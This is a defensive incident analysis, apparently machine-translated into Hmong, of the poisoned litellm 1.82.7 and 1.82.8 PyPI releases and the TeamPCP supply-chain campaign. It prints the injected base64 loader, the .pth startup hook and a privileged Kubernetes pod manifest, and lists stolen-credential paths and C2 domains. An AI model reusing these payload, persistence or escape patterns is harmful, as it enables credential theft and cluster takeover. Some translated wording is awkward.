Vim Li Cas Cov Muaj Peev Xwm No
Thaum Lub Peb Hlis 24, 2026, pob khoom Python nrov litellm, ib lub rooj vag LLM proxy thoob ntiaj teb uas siv los ntawm ntau txhiab tus neeg enterprises los xa cov tsheb khiav ntawm cov ntawv thov thiab cov neeg muab kev pabcuam AI xws li OpenAI, Anthropic, Google, thiab AWS Bedrock, tau raug cuam tshuam ntsiag to ntawm PyPI. Ob lub versions lom (1.82.7 thiab 1.82.8) tau luam tawm hauv 13 feeb ntawm ib leeg, nqa ib qho payload ntau theem uas nyiag cov ntaub ntawv pov thawj, rho tawm cov lus zais ntawm huab, kis mus rau sab nraud thoob plaws Kubernetes clusters, thiab teeb tsa ib qho backdoor uas muaj peev xwm ua tiav cov lej deb.
Nrog kwv yees li Muaj 3.6 lab tus neeg rub tawm txhua hnub thiab kev xa tawm tob thoob plaws hauv cov khoom siv AI hauv huab, litellm zaum ntawm txoj kev sib tshuam ntawm txhua yam uas cov neeg tawm tsam niaj hnub xav tau: API cov yuam sij rau txhua tus neeg muab kev pabcuam AI loj, cov ntaub ntawv pov thawj huab IAM, Kubernetes secrets, thiab SSH cov yuam sij.
Tiam sis qhov kev sib haum xeeb me me tsis yog ib qho xwm txheej uas ib leeg xwb. Nws yog qhov kawg ntawm ib qho tsib hnub, tsib-ecosystem phiaj xwm los ntawm ib tug neeg ua phem hu ua TeamPCP, ib qho kev sib tw uas ua ntej lom cov scanners kev ruaj ntseg (Aqua Trivy, Checkmarx KICS), tom qab ntawd siv cov khoom nyiag CI/CD Cov ntaub ntawv pov thawj kom poob mus rau hauv npm, OpenVSX, thiab thaum kawg PyPI. Cov neeg tawm tsam tau siv cov cuab yeej uas cov koom haum vam khom los tiv thaiv lawv cov saw hlau.
Qhov kev tawm tsam no sawv cev rau kev hloov pauv ib kauj ruam hauv kev ua kom muaj kev hem thawj ntawm cov khoom xa tuaj. Kev tsim qauv ntau lub voj voog, hla-ecosystem, ua rau cov cuab yeej kev ruaj ntseg tsis zoo kom ncav cuag tus nqi siab. Cov khoom siv AI, qhia txog qib kev npaj thiab kev ua haujlwm kom zoo ib yam li cov cuab yeej tawm tsam uas tau siv ntau zuj zus. Cov payloads tau rov ua dua hauv lub sijhawm tiag tiag (peb qhov payload variants tshwm sim hauv cov lej qhov chaw, suav nrog cov lus tawm tswv yim ua ntej), C2 infrastructure tau sau npe hnub ua ntej qhov kev tawm tsam, thiab cov chaw exfiltration tau xaiv ua tib zoo los ua raws li cov khoom siv muag khoom raug cai. Lub tshuab sau ntawv pov thawj uas muaj txiaj ntsig zoo, suav nrog 15+ pawg suav nrog cov hom phiaj tshwj xeeb xws li Cardano kos npe cov yuam sij thiab WireGuard configs, qhia txog qib kev ua tiav uas taw qhia rau AI-assisted malware kev txhim kho ua lub zog sib npaug.
Ncua sij hawm
| Hnub Tim (UTC) | Cov kev tshwm sim |
|---|---|
| Lub peb hlis ntuj 19 | TeamPCP ua rau Aqua Trivy GitHub Action tags puas tsuaj, hloov lawv nrog cov lej phem uas lim tawm CI/CD cov lus zais los ntawm cov chaw khaws cia hauv qab |
| Lub peb hlis ntuj 21 | Kev sib cog lus txuas ntxiv mus rau Checkmarx KICS thiab AST GitHub Actions siv cov txheej txheem zoo sib xws |
| Lub Peb Hlis 22, 06:35 | BerriAI luam tawm litellm 1.82.6 (lub xeem huv version) ntawm qhov qub CI/CD pipeline uas siv Trivy rau kev tshuaj xyuas kev ruaj ntseg |
| Lub peb hlis ntuj 23 | TeamPCP sau npe models.litellm.cloud (exfiltration domain). Ua rau muaj kev cuam tshuam 66+ npm pob khoom thiab OpenVSX extensions. |
| Lub Peb Hlis 24, 10:39 | litellm 1.82.7 luam tawm rau PyPI -- payload txhaj rau hauv proxy_server.py ntawm qhov module scope. Ua tiav thaum import |
| Lub Peb Hlis 24, 10:52 | litellm 1.82.8 luam tawm 13 feeb tom qab -- ntxiv litellm_init.pth, ib qho Python txoj kev teeb tsa hook uas ua haujlwm ntawm txhua qhov pib Python interpreter, tsis yog tsuas yog litellm imports xwb. Qhia txog kev ua haujlwm sai ntawm payload. |
| Lub Peb Hlis 24, ~16:00 | PyPI tshem tawm ob qho tib si tom qab cov lus ceeb toom hauv zej zog. Cov versions raug rho tawm tag nrho (tsis yog rub tawm) ntawm cov ntsuas, txawm hais tias CDN tarballs tseem nkag tau. |
Lub qhov rais qhib: kwv yees li 5.5 teev. Thaum lub sijhawm no, txhua yam pip install litellm, pip install --upgrade litellm, los yog CI/CD pipeline rub qhov tseeb version yuav tau ua tiav qhov payload.
Yuav Ua Li Cas Malware Tau Txais Los Ntawm: Qhov Kev Sib Tw Cascading
Lub pob litellm tsis raug cuam tshuam ncaj qha. Tus neeg tawm tsam tau mus txog nws los ntawm ib qho Kev tawm tsam ntawm ob txoj kev xa khoom:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPILiteLLM's CI/CD pipeline siv Trivy ua lub tshuab ntsuas kev ruaj ntseg - lub cuab yeej tsim los ntes qhov tsis muaj zog yog nws tus kheej lub vector tawm tsam. Vim tias pipeline xa mus rau Trivy los ntawm mutable tag es tsis yog pinned commit SHA, qhov kev ua txhaum cai tau khiav tsis siv neeg. Qhov kev ua phem Trivy tau rho tawm cov lus zais ntawm ib puag ncig, suav nrog PYPI_PUBLISH token, muab kev nkag mus rau TeamPCP ncaj qha rau kev tshaj tawm rau qhov project litellm PyPI.
Txoj kev "ua kom cov neeg zov tsis muaj kev cuam tshuam" no yog ib qho cim ntawm TeamPCP phiaj xwm. Los ntawm kev tsom mus rau cov cuab yeej kev ruaj ntseg ua ntej (Trivy, Checkmarx KICS), cov neeg tawm tsam tib lub sijhawm ua rau kev tshawb pom tsis ua haujlwm thiab tau txais kev nkag mus rau cov saw hlau xa khoom.
Kev Tshawb Fawb Txog Kev Siv Tshuab: Lub nra hnyav
Cov Ntsiab Lus Txhaj Tshuaj
version 1.82.7 - Kev ua haujlwm ntawm qib module hauv litellm/proxy/proxy_server.py (kab 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p])Cov lej no nyob ntawm qhov module scope ntawm phau ntawv txhais lus thiab phau ntawv qub showwarning() muaj nuj nqi. Nws ua tiav tam sim ntawd thaum litellm.proxy.proxy_server yog imported - uas tshwm sim ntawm kev siv litellm's proxy functionality.
version 1.82.8 — Ntxiv litellm_init.pth (Cov ntaub ntawv teeb tsa txoj kev Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Nab hab sej .pth cov ntaub ntawv hauv site-packages/ raug ua tiav ntawm txhua qhov kev pib txhais lus, tab sis tsuas yog cov kab pib nrog import raug ua tiav raws li cov lej. Tus neeg tawm tsam siv qhov no los ntawm kev khi tag nrho cov payload rau hauv ib qho xwb import nqe lus: import os, subprocess, sys; subprocess.Popen(...)Qhov no muaj zog dua li qhov kev txhaj tshuaj proxy_server.py - nws tua hluav taws txawm tias litellm yeej tsis tau xa tuaj, ntawm txhua qhov txheej txheem Python tso tawm. pyproject.toml tau hloov kho kom suav nrog cov ntaub ntawv no hauv kev faib tawm:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]Yog li ntawd, version 1.82.8 muaj ob txoj kev ua tiav ywj pheej: qhov kev txhaj tshuaj proxy_server.py (hluav taws rau ntawm litellm proxy import) thiab cov ntaub ntawv .pth (hluav taws rau txhua qhov pib Python). Qhov kev rov ua dua yog qhov tseem ceeb - nws tiv thaiv kev kuaj pom lossis tshem tawm ntawm ib txoj kev twg. Qhov kev nce qib ntawm lub sijhawm import mus rau lub sijhawm pib ua haujlwm tsuas yog 13 feeb tom qab 1.82.7 qhia tias tus neeg tawm tsam tau saib xyuas kev ua tiav ntawm kev xa tawm thiab rov ua dua sai sai.
Theem 1: Kev Sau Cov Ntawv Pov Thawj Ua Ke
Cov ntawv sau sab hauv uas tau txhais yog qhov chaw nqus tsev uas ua tib zoo saib xyuas. Nws siv os.walk(), glob.glob(), subprocess.check_output(), thiab nyeem cov ntaub ntawv ncaj qha los txhuam tag nrho lub system:
| Qeb | Hom Phaj |
|---|---|
| Kev tshuaj xyuas qhov system | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; tus yuam sij ntawm tus tswv tsev /etc/ssh/ |
| Huab (AWS) | ~/.aws/credentials, ~/.aws/config; Cov ntaub ntawv pov thawj lub luag haujlwm IMDS los ntawm 169.254.169.254Tus Thawj Saib Xyuas Kev Zais Cia ListSecrets; SSM DescribeParameters |
| Huab (GCP) | ~/.config/gcloud/ (rov ua dua); $GOOGLE_APPLICATION_CREDENTIALS |
| Huab (Azure) | ~/.azure/ (rov ua dua); cov hloov pauv ib puag ncig |
| Kubernetes | Cov cim qhia txog tus account kev pabcuam; ca.crtlub npe chaw; kubectl get secrets --all-namespaces; tag nrho cov lus zais ntawm K8s API |
| Cov ntaub ntawv ib puag ncig | .env, .env.local, .env.production, .env.development, .env.staging — tshawb nrhiav rov ua dua (qhov tob 6) thoob plaws /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| docker | ~/.docker/config.json, /kaniko/.docker/config.json |
| Cov cim qhia pob khoom | ~/.npmrc, ~/.vault-token, ~/.netrc |
| databases | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB configurations |
| TLS / SSL | Cov yuam sij ntiag tug los ntawm /etc/ssl/private/, Cia peb Encrypt cov ntawv pov thawj, txhua yam .pem/.key/.p12/.pfx cov ntaub ntawv |
| Cia li mus | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Crypto hnab nyiaj | Bitcoin, Ethereum keystore, Solana keypairs (validator, vote, stake, faucet), Cardano signing keys, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Keeb kwm ntawm lub plhaub | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Kev tso cai rau lub kaw lus | /etc/passwd, /etc/shadow, cov ntaub ntawv pov thawj (cov kev sib tham SSH uas tau txais) |
| Cov yuam sij Webhook/API | Grep rau Slack webhooks, Discord lub vev xaibhooks, API keys/secrets hauv cov ntaub ntawv config |
| VPN | WireGuard configurations los ntawm /etc/wireguard/ |
Lub hom phiaj ntawm lub cuab yeej sau qoob loo no yog encyclopedic. Nws tsis yog tsuas yog tsom rau cov ntaub ntawv pov thawj huab xwb tab sis kuj tseem muaj cov hnab nyiaj cryptocurrency, cov passwords database, VPN configurations, thiab CI/CD cov lus zais - qhia tias tus neeg tawm tsam npaj siab yuav ua kom tau nyiaj los ntawm cov kab ke uas raug cuam tshuam thoob plaws ntau lub vectors.
Theem 2: Encrypted Exfiltration
Cov ntaub ntawv raug nyiag lawm raug encrypted thiab exfiltrated siv cov txheej txheem hybrid encryption:
- AES-256-CBC kev siv tus yuam sij sib tham 32-byte random los encrypt tag nrho cov ntaub ntawv uas tau sau los (los ntawm
openssl enc) - RSA-4096 kev siv tus yuam sij pej xeem uas tus neeg tawm tsam siv los ntawm (OAEP padding, ntawm
openssl pkeyutl) - Ob qho ntaub ntawv ciphertext tau muab tso ua ke ua
tpcp.tar.gz(lubtpcp(cov lus qhia ua ntej — "TeamPCP" — tshwm sim tas li thoob plaws hauv kev sib tw) - HTTPS POST rau
https://models.litellm.cloud/nrogContent-Type: application/octet-stream
Lub domain models.litellm.cloud tau sau npe rau lub Peb Hlis 23 - ib hnub ua ntej qhov kev tawm tsam - thiab tau tsim los sib xyaw nrog cov khoom siv litellm raug cai (qhov project tiag tiag siv litellm.ai). Txawm tias tus neeg tiv thaiv uas paub txog lub network uas tshuaj xyuas cov tsheb khiav tawm kuj yuav tsis qhia txog cov tsheb khiav mus rau qhov zoo li yog litellm tus qauv kawg.
Theem 3: Qhov Rooj Nkag Mus Tsis Tu Ncua (sysmon.py)
Lub payload nruab ib lub qhov rooj pov npav uas zais ua lub kaw lus telemetry:
- Kab:
~/.config/sysmon/sysmon.py - Service:
sysmon.service(chav neeg siv systemd, piav qhia tias yog "System Telemetry Service") - tus cwj pwmTom qab pw tsaug zog thawj zaug 300 vib nas this, cov neeg soj ntsuam
https://checkmarx.zone/rawtxhua ~ 50 feeb - tiav: Rub tawm qhov URL uas C2 xa rov qab mus rau
/tmp/pglog, teeb tsa nws ua haujlwm (chmod 755), khiav nws hauv ib qho kev sib tham sib cais - Kev taug qab lub xeev:
/tmp/.pg_statetiv thaiv kev rov rub tawm tib lub payload - Persistence:
Restart=always,RestartSec=10— dim ntawm kev sib tsoo thiab kev rov pib dua
Lub domain checkmarx.zone yog ib qho typosquat ntawm Checkmarx (lub tuam txhab kev ruaj ntseg ntawm checkmarx.com), tsim los kom cov kws tshuaj ntsuam SOC uas tshuaj xyuas cov cav hauv network yuav pom cov tsheb khiav mus rau qhov zoo li yog tus muag khoom ruaj ntseg raug cai. Qhov no yog ib txoj kev zam txim uas ua raws li TeamPCP txoj kev npaj dav dua ntawm kev nkaum tom qab kev tsim khoom ruaj ntseg.
Theem 3b: Kubernetes Lateral Movement
Yog tias lub kaw lus raug cuam tshuam muaj cov ntaub ntawv pov thawj Kubernetes kev pabcuam tus account, tus malware suav tag nrho cov cluster nodes thiab xa tawm cov pods tshwj xeeb rau txhua tus:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } }Txhua lub pod:
- Khiav raws li muaj cai tshwj xeeb nrog
hostPID,hostNetwork, thiab kev nkag mus rau tag nrho cov ntaub ntawv system ntawm tus tswv tsev - siv
chroot /hostlos nruab tib yamsysmon.pybackdoor ntawm tus tswv tsev cov ntaub ntawv hauv paus - Sau npe nws ua ib qho kev pabcuam systemd, xyuas kom meej tias kev ua siab ntev tseem muaj sia nyob pod deletion
- npe hu
node-setup-*nyob rau hauv lubkube-systemnamespace kom tshwm sim ua cov khoom siv cluster raug cai
Qhov no txhais tau tias ib ib leeg tsis sib haum xeeb CI/CD tus neeg khiav uas muaj kev nkag mus rau K8s tuaj yeem ua rau txhua lub node hauv pawg raug backdoored — qhov xwm txheej kev txav mus los sab nraud uas muaj kev puas tsuaj loj heev rau cov koom haum uas khiav litellm ua tus sawv cev hauv Kubernetes.
Kev Hloov Pauv ntawm Payload (Cov Kev Hloov Pauv Uas Tau Tawm Lus)
Cov lej ntawm kab 131-132 muaj ob qhov kev hloov pauv payload ua ntej, qhia txog tus neeg tawm tsam txoj kev loj hlob:
- Tag nrho peb hom kev hloov pauv sib koom cov khoom siv exfiltration tib yam (
models.litellm.cloud), RSA-4096 tus yuam sij pej xeem, AES-256-CBC + RSA hybrid encryption wrapper, thiabtpcp.tar.gzkev muab lub npe rau pob khoom - Cov qauv ua ntej ntxiv ib qho RC4 txheej encryption sab hauv cov ntawv sau cov ntaub ntawv, encrypting cov ntaub ntawv sau ua ntej sab nraud AES + RSA wrapper. Lub payload nquag (kab 130) ua kom yooj yim dua los ntawm kev tshem tawm cov txheej RC4 sab hauv no
- Cov versions ua ntej siv
exec()nrogStringIOntes kom khiav lub collector hauv-txheej txheem, thaum lub payload nquag sivsubprocess.run()nrog stdout redirect - kev sib cais huv dua uas zam kev ua qias tuaj rau tus tswv tsev cov txheej txheem - Tag nrho peb hom kev hloov pauv tsom mus rau tib pawg ntawv pov thawj thiab txoj kev sau khoom
- Tus yuam sij RC4 hauv cov qauv ua ntej yog qhov kev hais lus tsis zoo, sib xws nrog tus neeg ua yeeb yam tus cwj pwm nrhiav kev mloog ntawm Telegram.
Qhov no qhia tau tias muaj kev txhim kho thaum lub sijhawm ua haujlwm. Tus neeg tawm tsam ua kom yooj yim rau qhov encryption stack thiab txhim kho kev cais tawm thaum tseem ua kom cov hom phiaj sau thiab cov khoom siv exfiltration ruaj khov.
Cov Cim Qhia Txog Kev Ua Phem (IOCs)
network
| Qhov taw qhia | hom | lub hom phiaj |
|---|---|---|
models.litellm.cloud | sau | Exfiltration endpoint (HTTPS POST) |
checkmarx.zone | sau | C2 polling endpoint (HTTPS GET) /raw) |
Lus Cim: Cov kev sib txuas lus sab nraud checkmarx.zone/static/checkmarx-util-1.0.4.tgz mus rau theem KICS ua ntej ntawm TeamPCP phiaj xwm. Qhov URL no tsis pom nyob rau hauv cov payloads litellm uas tau tshuaj xyuas ntawm no.
Cov Hashes ntawm Pob Khoom
| cov ntaub ntawv | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Cov Ntaub Ntawv Cov Ntaub Ntawv
| Qhov taw qhia | hom | lub hom phiaj |
|---|---|---|
~/.config/sysmon/sysmon.py | cov ntaub ntawv | Tsab ntawv sau backdoor tas mus li |
~/.config/systemd/user/sysmon.service | cov ntaub ntawv | Systemd persistence unit |
/tmp/pglog | cov ntaub ntawv | Rub tawm binary theem ob |
/tmp/.pg_state | cov ntaub ntawv | Kev taug qab lub xeev C2 |
litellm_init.pth in site-packages/ | cov ntaub ntawv | Python pib lub hook (v1.82.8 xwb) |
tpcp.tar.gz | cov ntaub ntawv | Cov pob khoom exfiltration encrypted |
Kubernetes
| Qhov taw qhia | hom | lub hom phiaj |
|---|---|---|
node-setup-* cov noob hauv kube-system | Plhaub taum mog | Cov pods txav mus los sab nraud tshwj xeeb |
sysmon.service ntawm cov nodes cluster | Service | Kev nyob ruaj khov ntawm tus tswv tsev los ntawm kev khiav tawm ntawm pod |
Kev siv Cryptographic
| Qhov taw qhia | Paub meej |
|---|---|
| Tus neeg tawm tsam RSA-4096 tus yuam sij pej xeem | SHA256 tus ntiv tes: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. Muab tso rau hauv tag nrho peb qhov kev hloov pauv payload; tib tus yuam sij tau tshaj tawm thoob plaws lwm cov haujlwm TeamPCP |
tpcp prefix hauv cov khoom cuav | Kev cai raus npe rau pob khoom (tpcp.tar.gz) sib xws thoob plaws hauv kev sib tw |
Kev Muab: TeamPCP
Tus neeg ua phem tom qab qhov kev sib tw no raug taug qab raws li TeamPCP, tseem hu ua PCPcat, Persy_PCP, ShellForce, thiab DeadCatx3.
Cov yam ntxwv paub:
- Tswj cov Telegram channels ntawm
@Persy_PCPthiab@teampcpqhov chaw uas lawv tau thuam cov tuam txhab kev ruaj ntseg - Ua haujlwm hla ntau lub ecosystem (GitHub Actions, PyPI, npm, OpenVSX)
- Siv cov npe typosquat tshwj xeeb rau txhua theem ntawm kev sib tw (piv txwv li,
checkmarx.zonerau Checkmarx,models.litellm.cloudrau litellm) - Cov cim qhia txog kev tsim kho vaj tse sib xws: tib tus khub yuam sij RSA,
tpcp.tar.gzkev cai lij choj txog kev sau npe,tpcp-docs-*GitHub repositories siv ua dead-drop staging - Tsom cov cuab yeej kev ruaj ntseg ua cov ntsiab lus nkag mus rau cov saw hlau xa khoom
Kev ntseeg siab ntawm tus neeg ua pov thawj: Siab. Tus yuam sij pej xeem RSA sib koom, tpcp Kev muab lub npe rau cov khoom cuav, C2 cov khoom siv sib tshooj, thiab kev ua haujlwm ntawm tsib hnub sib tw txuas ntxiv Trivy, KICS, npm, OpenVSX, thiab litellm kev sib haum xeeb rau tib tus neeg ua yeeb yam.
SabTej zaum yog kev nyiaj txiag (kev nyiag nyiaj hauv hnab nyiaj crypto, kev siv nyiaj los ntawm huab) ua ke nrog kev muaj koob muaj npe (kev thuam Telegram). Qhov dav ntawm kev sau cov ntaub ntawv pov thawj - txij li AWS IAM mus rau Solana validator keypairs mus rau WireGuard configs - qhia txog tus neeg ua yeeb yam uas muaj lub siab xav nyiaj txiag uas tab tom nrhiav kom tau ROI ntau tshaj plaws los ntawm txhua qhov kev pom zoo.
Kev pab cuam AI uas muaj peev xwm ua tau: Tus neeg sau ntawv pov thawj muaj kev nkag siab zoo - 15+ pawg suav nrog cov hom phiaj tshwj xeeb xws li Cardano kos npe yuam sij, WireGuard configs, thiab Kaniko Docker cov ntawv pov thawj - hauv txoj kev uas sib xws nrog AI-assisted enumeration. Qhov ceev ntawm payload iteration (peb variants nrog cov txheej txheem encryption sib txawv), kev sib koom tes hla-ecosystem (5 ecosystems hauv 5 hnub), thiab kev ua haujlwm OPSEC (vendor-impersonating domains, hybrid encryption, systemd persistence disguised li telemetry) qhia txog qib ntawm throughput uas yuav cuam tshuam AI-assisted kev loj hlob ua lub zog multiplier. Qhov kev ntsuam xyuas no yog speculative; cov neeg ua haujlwm txawj ntse tuaj yeem ua tiav qhov zoo sib xws yam tsis muaj AI tooling.
Cov TTPs thiab Cov Txuj Ci Tshiab
1. Kev Lom Zem ntawm Cov Khoom Siv Ruaj Ntseg (T1195.002 variant)
Kev siv cov cuab yeej ntsuas kev ruaj ntseg (Trivy, KICS) ua thawj kauj ruam kom ncav cuag cov hom phiaj qis dua yog qhov kev nce qib tshiab. Tus neeg tawm tsam tsis yog tsuas yog nkag mus rau hauv lub tsev qiv ntawv xwb - lawv tau nkag mus rau hauv cov cuab yeej uas cov koom haum siv los ua. ntes tau Cov tsev qiv ntawv raug cuam tshuam. Qhov no tsim ib qho chaw dig muag: lub tshuab ntsuas uas yuav tsum ntes cov lej phem yog nws tus kheej lub tshuab xa khoom.
2. Nab hab sej .pth Kev Nyob Ruaj Nrees ntawm Cov Ntaub Ntawv (T1546)
cov litellm_init.pth cov txheej txheem hauv v1.82.8 yog qhov tsis zoo tshwj xeeb. Python .pth cov ntaub ntawv hauv site-packages/ raug ua tiav ntawm txhua qhov kev pib txhais lus; txhua kab pib nrog import yog ua tiav raws li code. Los ntawm kev khi lub payload rau ntawm ib qho xwb import cov lus hais, tus neeg tawm tsam ua tiav kev ua tiav ntawm txhua tus txheej txheem Python - tsis yog thaum litellm raug xa tawm. Qhov no txhais tau tias lub payload tua hluav taws txawm tias litellm tau teeb tsa tab sis tsis tau siv, thiab nws muaj sia nyob rau kev kho uas hloov chaw raug cuam tshuam .py cov ntaub ntawv tsis tau kuaj xyuas .pth cov ntaub ntawv.
3. Kev Txav Mus Los Hauv Kubernetes Cluster-Wide Lateral ntawm Privileged Pod Deployment (T1610, T1611)
Kev tsim cov pods tshwj xeeb ntawm txhua lub cluster node - nrog hostPID, hostNetwork, tus tswv tsev cov ntaub ntawv mount, thiab chroot txhawm rau nruab persistence - chains container deployment (T1610) nrog escape rau tus tswv tsev (T1611) kom tig ib qho workload uas raug cuam tshuam mus rau hauv kev sib koom ua ke tag nrho.
4. Cov Khoom Siv C2 Uas Ua Rau Tus Muag Khoom Xav Li Cas
siv models.litellm.cloud (ua raws li litellm) thiab checkmarx.zone (ua raws li Checkmarx) raws li C2/exfil endpoints yog tsim los zam kev saib xyuas network. SOC cov kws tshuaj ntsuam xyuas kev tawm mus yuav pom HTTPS kev sib txuas rau qhov zoo li yog cov chaw muag khoom raug cai.
5. Kev Hloov Pauv Sai Sai Hauv Dav Hlau
Luam tawm v1.82.7 nrog kev ua tiav ntawm lub sijhawm xa khoom, tom qab ntawd v1.82.8 nrog kev ua tiav ntawm lub sijhawm pib 13 feeb tom qab, qhia tias tus neeg tawm tsam saib xyuas thiab hloov kho hauv lub sijhawm tiag tiag. Cov kev hloov pauv ntawm cov nyiaj them tawm (nrog cov txheej txheem encryption sib txawv) khaws cia rau hauv cov lej qhov chaw lees paub qhov kev txhim kho nquag thaum lub sijhawm ua haujlwm.
Yuav Ua Tau Dab Tsi
Qhov kev tawm tsam no siv kev ntseeg siab ntawm txhua txheej: kev ntseeg siab rau cov cuab yeej kev ruaj ntseg, kev ntseeg siab rau cov npe pob khoom, kev ntseeg siab rau cov npe uas zoo li paub, kev ntseeg siab rau CI/CD Kev siv tshuab tsis siv neeg. Kev tiv thaiv nws yuav tsum tau ua kom txhua qhov kev ntseeg siab no ruaj khov:
Rau Cov Neeg Siv Khoom Pob Khoom
- Pin cov dependencies los ntawm hash, tsis yog version xwb.
pip install litellm==1.82.6 --hash=sha256:...yuav tau tiv thaiv cov qauv uas raug cuam tshuam los ntawm kev teeb tsa txawm tias lawv tshwm sim ua qhov tseeb tshaj plaws ib ntus. - Siv cov ntaub ntawv lockfiles.
pip-compile,poetry.lock, Thiabuv.lockntes cov versions thiab hashes tseeb. CI/CD yuav tsum tau nruab los ntawm lockfiles, tsis yog los ntawm cov floating version specifiers. - Saib xyuas rau
.pthcov ntaub ntawv. Kev tshuaj xyuas tsis tu ncuasite-packages/rau kev npaj txhij txog.pthcov ntaub ntawv - lawv ua tiav ntawm txhua qhov pib Python thiab yog lub tshuab ua haujlwm tsis txaus siab. - Siv cov kev tswj hwm kev tawm ntawm lub network. Kev rho tawm mus rau
models.litellm.cloudthiab C2 kev xaiv tsa raucheckmarx.zonetej zaum yuav raug ntes los ntawm kev lim dej tawm raws li daim ntawv tso cai hauv cov chaw tsim khoom.
Rau Cov Neeg Tswj Xyuas Pob Khoom
- Pin CI/CD kev ua los ntawm commit SHA, tsis yog daim ntawv cim npe. LiteLLM's pipeline siv Trivy yam tsis muaj ib qho pinned version. Yog tias nws tau hais txog
aquasecurity/trivy-action@<commit-sha>es tsis txhob@latest, qhov kev nqis tes ua tsis tau tiav. - Siv cov cim luam tawm luv luv, uas muaj cov ntsiab lus tshwj xeeb. PyPI txhawb nqa Trusted Publishers (OIDC-based) thiab scoped API tokens. Lub exfiltrated
PYPI_PUBLISHdaim ntawv cim yuav tsum tsis txhob muaj kev nkag mus rau kev tshaj tawm tsis muaj kev txwv. - Qhib kev lees paub ob yam ntawm PyPI. Yuav tsum muaj 2FA rau txhua tus neeg saib xyuas thiab siv cov yuam sij ruaj ntseg kho vajtse qhov twg ua tau.
- Cov pob khoom kos npe. Cov ntawv pov thawj Sigstore/PEP 740 tso cai rau cov neeg siv khoom los txheeb xyuas tias pob khoom tau tsim los ntawm qhov xav tau CI/CD pipeline, tsis yog los ntawm tus neeg tawm tsam nrog lub cim raug nyiag.
Rau Cov Neeg Ua Haujlwm Platform (PyPI, npm, GitHub)
- Tshawb nrhiav cov qauv luam tawm tsis zoo. Ob qho version tshiab uas tau luam tawm sib nrug 13 feeb, ntawm IP lossis token sib txawv ntawm ib txwm, yuav tsum ua kom muaj kev tuav-rau-kev tshuaj xyuas lossis kev luam theej duab tsis siv neeg ua ntej pob khoom tuaj yeem teeb tsa tau.
- Ua kom nrawm dua kev txais yuav Cov Neeg Tshaj Tawm Ntseeg Siab. Kev tshaj tawm raws li OIDC khi cov pob khoom rau cov chaw khaws khoom thiab cov txheej txheem ua haujlwm tshwj xeeb, ua rau cov cim raug nyiag tsis muaj txiaj ntsig sab nraum qhov qub. CI/CD ntsiab lus.
- Siv kev luam theej malware thaum lub sijhawm tshaj tawm. Lub base64-decoded payload hauv proxy_server.py yuav pom tau los ntawm kev tshuaj xyuas static thaum lub sijhawm tshaj tawm.
Rau lub Ecosystem
- Kho cov cuab yeej kev ruaj ntseg ua cov hauv paus tseem ceeb. Trivy thiab Checkmarx KICS raug siv los ntawm ntau lab tus neeg pipelines. Lawv cov GitHub Actions yuav tsum tau kos npe, pinned, thiab saib xyuas nrog tib lub rigor li cov pob khoom uas lawv scan.
- Nqis peev rau hauv kev tshawb nrhiav lub sijhawm khiav. Kev tshuaj xyuas static ib leeg xwb tsis tuaj yeem ntes tau txhua txoj kev ua kom tsis meej. Kev saib xyuas lub sijhawm khiav ntawm kev teeb tsa pob khoom hooks, kev sib txuas hauv network uas tsis tau xav txog, thiab cov qauv nkag mus rau cov ntaub ntawv tsis meej pem muab kev tiv thaiv tob.
- Qhia cov ntaub ntawv txog kev hem thawj sai dua. Lub sijhawm 5.5 teev rau litellm yuav luv dua yog tias muaj kev sib koom tes ntawm cov neeg muag khoom sai dua. Cov kev pabcuam scanning tsis siv neeg xws li Xygeni MEW, Socket, thiab Snyk tau kuaj pom qhov txawv txav - qhov tsis sib xws yog tib neeg lees paub thiab lub sijhawm teb rau kev sau npe.
xaus
Kev sib tw TeamPCP yog lub sijhawm tseem ceeb rau software supply chain securityLos ntawm kev siv cov cuab yeej ntsuas kev ruaj ntseg ua ntej thiab siv lawv ua cov kauj ruam mus rau cov khoom siv AI muaj nqis siab, cov neeg tawm tsam tau ua pov thawj tias cov saw hlau xa khoom tsuas yog muaj zog npaum li nws qhov kev vam khom tsis muaj zog tshaj plaws, thiab qhov kev vam khom ntawd yuav yog cov cuab yeej ruaj ntseg uas koj ntseeg siab kom koj muaj kev nyab xeeb.
